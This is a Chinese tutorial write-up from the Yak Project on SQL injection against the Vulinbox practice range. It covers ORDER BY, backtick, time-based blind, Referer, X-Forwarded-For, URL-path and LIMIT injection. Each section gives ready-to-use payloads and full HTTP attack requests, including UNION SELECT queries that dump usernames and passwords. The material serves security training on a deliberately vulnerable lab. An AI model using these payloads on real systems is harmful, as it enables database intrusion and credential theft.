跳到主要内容

靶场实战:Vulinbox SQL 注入攻防与技巧解析

· 阅读需 13 分钟
Yak Project
网络安全垂直语言团队

SQL 注入是一种常见且危险的网络安全攻击技术,将恶意的 SQL 代码“注入”到原本合法的数据库查询请求中。本文围绕 YAK 靶场的 SQL 注入教程,详细介绍分析过程和利用方式。

ORDER BY 注入

单个条件排序位于 LIMIT 之前

接口路径:/user/limit/4/order1

关键 Code:select * from vulin_users where (username LIKE '%a%') ORDER BY username + data + LIMIT 5;

漏洞原因: order 参数直接拼接到 SQL 语句中的 ORDER BY 子句后面,没有任何过滤和验证,攻击者可以注入恶意 SQL 代码。

**注意事项:**在构造payload 之前,需要先通过

http://127.0.0.1:8080/logic/user/register 靶场注册一个同名的用户(比如 admin),原因如下:

  • 所有用户的 username 都不相同时,第一级排序 username DESC 就能决定所有记录的顺序
  • 第二级排序条件(注入的部分)完全不会生效
  • 无法通过结果差异判断注入的 SQL 条件是否执行

Payload:DESC,(CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN age ELSE -age END)

攻击请求:

GET /user/limit/4/order1?order=DESC%2C(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20age%20ELSE%20-age%20END) HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0

结果解释:

返回 username 中包含 'a' 的数据进行排序。

CASE WHEN 逻辑:

  • 判断:管理员数量是否大于 1
  • 条件为真:按 age 正序排序
  • 条件为假:按 -age 排序,即 age 倒序

多条件排序位于 LIMIT 之前

接口路径:/user/limit/4/order2

关键 Code:select * from vulin_users where (username LIKE '%a%') ORDER BY username + data + , created_at LIMIT 5;

**漏洞原因:**order 参数直接拼接在多条件排序中的第一个条件后,后面还有 created_at 排序,为复杂注入提供了更多空间。

Payload:DESC,(CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN age ELSE -age END)

攻击请求:

GET /user/limit/4/order2?order=DESC%2C(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20age%20ELSE%20-age%20END) HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0

注入后完整 SQL:

select * from vulin_users where (username LIKE '%a%') ORDER BY username DESC,(CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN age ELSE -age END), created_at LIMIT 5;

结果解释:

返回 username 中包含 'a' 的用户数据,按照以下排序逻辑:

  • 第一级排序:created_at desc(创建时间倒序)
  • 第二级排序:username DESC(用户名倒序)
  • 第三级排序:CASE WHEN 条件判断

CASE WHEN 逻辑:

  • 判断条件:管理员角色用户数量是否大于 1
  • 条件为真:按 age 正序排序
  • 条件为假:按 -age 排序,即 age 倒序

需要数据中存在 created_at 相同且 username 也相同的重复记录,注入的第三级排序条件才能发挥作用。

多条件排序位(无 LIMIT)

接口路径:/user/order3

关键 Code:select * from vulin_users where (username LIKE '%a%') ORDER BY created_at desc, username + data + ;

漏洞原因: order 参数直接拼接在多条件排序中的第二个条件 username 后,前面还有 created_at desc 排序,这种多条件排序结构为复杂的布尔盲注提供了更多操作空间。

Payload:DESC,(CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>0 THEN age ELSE -age END)

攻击请求:

GET /user/order3?order=DESC%2C(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E0%20THEN%20age%20ELSE%20-age%20END) HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0

注入后完整 SQL:

select * from vulin_users where (username LIKE '%a%') ORDER BY created_at desc, username DESC,(CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>0 THEN age ELSE -age END);

注入效果分析:

返回 username 中包含 'a' 的用户数据,按照以下排序逻辑:

  • 第一级排序:created_at desc(创建时间倒序)
  • 第二级排序:username DESC(用户名倒序)
  • 第三级排序:CASE WHEN 条件判断

CASE WHEN 逻辑:

  • 判断条件:管理员角色用户数量是否大于 1
  • 条件为真:按 age 正序排序
  • 条件为假:按 -age 排序,即 age 倒序

需要数据中存在 created_at 相同且 username 也相同的重复记录,注入的第三级排序条件才能发挥作用。

多字段分析

接口路径:/user/limit/4/orderby

关键 Code:select * from vulin_users where (username LIKE '%a%') ORDER BY + orderby + desc LIMIT 5;

默认查询:orderby=username

漏洞特点:

  • 完全控制 ORDER BY 字段(不同于前面的追加模式)
  • 有 LIMIT 5 限制,只返回前 5 条记录,更容易观察变化
  • 注入点位置优势,在 ORDER BY 的主要位置,影响力更大

Payload:(CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN id ELSE -id END)

攻击请求:

GET /user/limit/4/orderby?orderby=(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20id%20ELSE%20-id%20END) HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0

结果解释:

根据管理员数量条件,控制按 id 正序或倒序排列,通过排序结果变化可判断条件是否成立。

反引号 + 排序

接口路径:/user/limit/4/orderby1

关键 Code:select * from vulin_users where (username LIKE '%a%') ORDER BY + "" + orderby + " desc" + LIMIT 5;

漏洞特点: 参数被反引号包围,需要闭合反引号后进行注入。

Payload:id DESC, (CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN id ELSE -id END) DESC, id

攻击请求:

GET /user/limit/4/orderby1?orderby=id%60%20DESC%2C%20(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20id%20ELSE%20-id%20END)%20DESC%2C%20%60id HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0

注入后完整 SQL:

select * from vulin_users where (username LIKE '%a%') ORDER BY `id` DESC, (CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN age ELSE username END) DESC, `id` desc LIMIT 5;

注入逻辑:

  • 闭合第一个反引号:id
  • 添加条件判断:CASE WHEN 判断 admin 数量,根据 id 进行排序
  • 正确闭合最后的反引号:用 id 作为最后一个字段

反引号 + 多字段

接口路径:/user/limit/4/orderby2

关键 Code:select * from vulin_users where (username LIKE '%a%') ORDER BY + "" + orderby + ",created_at" + LIMIT 5;

**漏洞特点:**参数被反引号包围,且后面有固定的 ,created_at 字段需要处理。

Payload:**id DESC, (CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN id ELSE -id END) DESC --`

攻击请求:

GET /user/limit/4/orderby2?orderby=id%60%20DESC%2C%20(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20id%20ELSE%20-id%20END)%20DESC%20--%20 HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0

注入后完整 SQL:

select * from vulin_users where (username LIKE '%a%') ORDER BY `id` DESC, (CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN id ELSE -id END) DESC -- `,created_at LIMIT 5;

注入逻辑:

  • 闭合反引号:id 完成第一个字段
  • 添加条件判断:根据 admin 数量选择按 id 排序
  • 注释掉后续:用 -- 注释掉原本的 ,created_at

时间盲注

接口路径:/user/id-time-blind

关键 Code:select * from vulin_users where id = + id + ;

漏洞特点: 数字型 SQL 注入,id 参数直接拼接,且 vulinbox 注册了自定义的 sleep() 函数。

Payload:**1 AND (SELECT CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN sleep(5) ELSE 1 END)

攻击请求:

GET /user/id-time-blind?id=1%20AND%20(SELECT%20CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20sleep(5)%20ELSE%201%20END) HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0

注入后完整 SQL:

select * from vulin_users where id = 1 AND (SELECT CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN sleep(5) ELSE 1 END);

注入逻辑:

  • 如果管理员用户数量大于 1:执行 sleep(5),延迟 5 秒响应
  • 如果管理员用户数量不大于 1:正常返回,无延迟

基于 Referer 的 SQL 注入

接口路径:POST /visitor/reference

注入点: Referer 请求头中的 path 部分

关键 Code:SELECT * FROM vulin_visitors WHERE last_access_path = ' + path + ';

漏洞原理:

  • 从 Referer 头部获取 URL:referer := request.Header.Get("Referer")
  • 解析 URL 提取 path:refererURL.Path
  • 直接拼接到 SQL 中:"SELECT * FROM vulin_visitors WHERE last_access_path = '" + path + "'"

Payload:**http://example.com/visitor/reference' UNION SELECT id,created_at,updated_at,deleted_at,username,password,age,role,remake,'2024-01-01','127.0.0.1','10.0.0.1' FROM vulin_users --

攻击请求:

POST /visitor/reference HTTP/1.1
Host: 127.0.0.1:8080
Referer: http://example.com/visitor/reference' UNION SELECT id,created_at,updated_at,deleted_at,username,password,age,role,remake,'2024-01-01','127.0.0.1','10.0.0.1' FROM vulin_users --
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36

注入后完整 SQL:

SELECT * FROM vulin_visitors WHERE last_access_path = '/visitor/reference' UNION SELECT id,created_at,updated_at,deleted_at,username,password,age,role,remake,'2024-01-01','127.0.0.1','10.0.0.1' FROM vulin_users --';

注入逻辑:

  • 单引号逃逸:reference' 闭合原始查询
  • UNION 查询:获取 vulin_users 表中的用户数据
  • 字段匹配:12 个字段匹配 vulin_visitors 表结构
  • 注释后续:-- 注释掉原 SQL 的结尾

**预期效果:**返回的 JSON 数据中会包含 vulin_users 表的用户信息,实现跨表数据泄露。

返回结果:

HTTP/1.1 200 OK
Content-Type: application/json
Date: Thu, 21 Aug 2025 13:51:56 GMT
Content-Length: 12776
[
{
"age": 25,
"created_at": "2025-08-21T21:13:51.9803304+08:00",
"deleted_at": null,
"id": 1,
"last_access_domain": "admin",
"last_access_path": "我是管理员",
"last_access_time": "2024-01-01T00:00:00Z",
"password": "admin",
"proxy_ip": "127.0.0.1",
"real_ip": "10.0.0.1",
"updated_at": "2025-08-21T21:13:51.9803304+08:00",
"username": "admin"
},
...
]

基于 X-Forwarded-For 的 SQL 注入

接口路径:POST /visitor/x-forwarded-for

注入点: X-Forwarded-For 请求头

关键 Code:SELECT * FROM vulin_visitors WHERE proxy_ip IN ('ip1','ip2',...);

漏洞特点:

  • 从 X-Forwarded-For 头部提取 IP 列表,以逗号分割
  • 忽略第一个 IP,后续 IP 作为代理 IP 查询
  • 直接拼接到 SQL 查询中,存在单引号逃逸注入

Payload:**192.168.1.1, 10.0.0.1') OR 1=1 --

攻击请求:

POST /visitor/x-forwarded-for HTTP/1.1
Host: 127.0.0.1:8080
X-Forwarded-For: 192.168.1.1, 10.0.0.1') OR 1=1 --
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36

返回结果

HTTP/1.1 200 OK
Content-Type: application/json
Date: Thu, 21 Aug 2025 13:34:37 GMT
Content-Length: 2193
[
{
"age": 28,
"created_at": "2025-08-21T21:13:51.9813858+08:00",
"deleted_at": null,
"id": 1,
"last_access_domain": "example.com",
"last_access_path": "/visitor/reference",
"last_access_time": "2025-08-21T19:13:51.9813858+08:00",
"password": "password123",
"proxy_ip": "10.0.0.1",
"real_ip": "192.168.1.100",
"updated_at": "2025-08-21T21:13:51.9813858+08:00",
"username": "john_doe"
},
{
"age": 32,
"created_at": "2025-08-21T21:13:51.9813858+08:00",
"deleted_at": null,
"id": 2,
"last_access_domain": "example.com",
"last_access_path": "/visitor/reference",
"last_access_time": "2025-08-21T20:13:51.9813858+08:00",
"password": "password456",
"proxy_ip": "10.0.0.2",
"real_ip": "192.168.1.101",
"updated_at": "2025-08-21T21:13:51.9813858+08:00",
"username": "alice_smith"
}
...
]

注入后完整 SQL:

SELECT * FROM vulin_visitors WHERE proxy_ip IN ('10.0.0.1') OR 1=1 --');

注入逻辑:

  • 闭合 IN 子句:10.0.0.1') 正确闭合 IN()
  • 添加 OR 条件:OR 1=1 使 WHERE 条件恒为真
  • 注释后续:-- 注释掉原 SQL 剩余部分

**返回结果:**返回所有 vulin_visitors 表中的记录,因为 OR 1=1 条件恒为真。

基于 Path 的 SQL 注入

接口路径:GET /user/path/{name}

注入点: URL 路径参数 {name}

关键 Code:select * from vulin_users where username = ' + name + ';

漏洞原理:

  • 使用 mux 路由提取路径参数:name := vars["name"]
  • 直接调用不安全函数:GetUserByUsernameUnsafe(name)
  • 字符串拼接构造 SQL:select * from vulin_users where username = ' + i + ';

Payload:admin' UNION SELECT id,'extracted',age,role,username,created_at,updated_at,password,remake FROM vulin_users--

攻击请求:

GET /user/path/admin'%20UNION%20SELECT%20id,%27extracted%27,age,role,username,created_at,updated_at,password,remake%20FROM%20vulin_users-- HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36

注入后完整 SQL:

select * from vulin_users where username = 'admin' UNION SELECT id,'extracted',age,role,username,created_at,updated_at,password,remake FROM vulin_users--';

注入逻辑:

  • 单引号逃逸:admin' 闭合原始查询
  • UNION 查询:获取 vulin_users 表中的所有用户数据
  • 字段匹配:9 个字段完全匹配 vulin_users 表结构
  • 注释后续:-- 注释掉原 SQL 的结尾

预期效果: 返回 vulin_users 表中所有用户的完整信息,包括用户名、密码、角色等敏感数据,实现完整的数据泄露。

LIMIT(语句结尾)注入案例

接口路径:/user/limit/int

**关键 Code:**select * from vulin_users where (username LIKE '% + "a" + %') LIMIT + limit + ;

**漏洞原因:**limit 参数直接拼接到 SQL 语句中,没有任何过滤和验证。

Payload:(SELECT COUNT(*) FROM vulin_users WHERE role='admin')

攻击请求:

GET /user/limit/int?limit=(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role='admin') HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0

结果解释:

注入后 SQL 变为:select * from vulin_users where (username LIKE '%a%') LIMIT (SELECT COUNT(*) FROM vulin_users WHERE role='admin');

子查询返回管理员用户数量,作为 LIMIT 值控制返回记录数量,通过记录数量变化可推断数据库信息。


本文首发于 Yak Project 公众号,阅读原文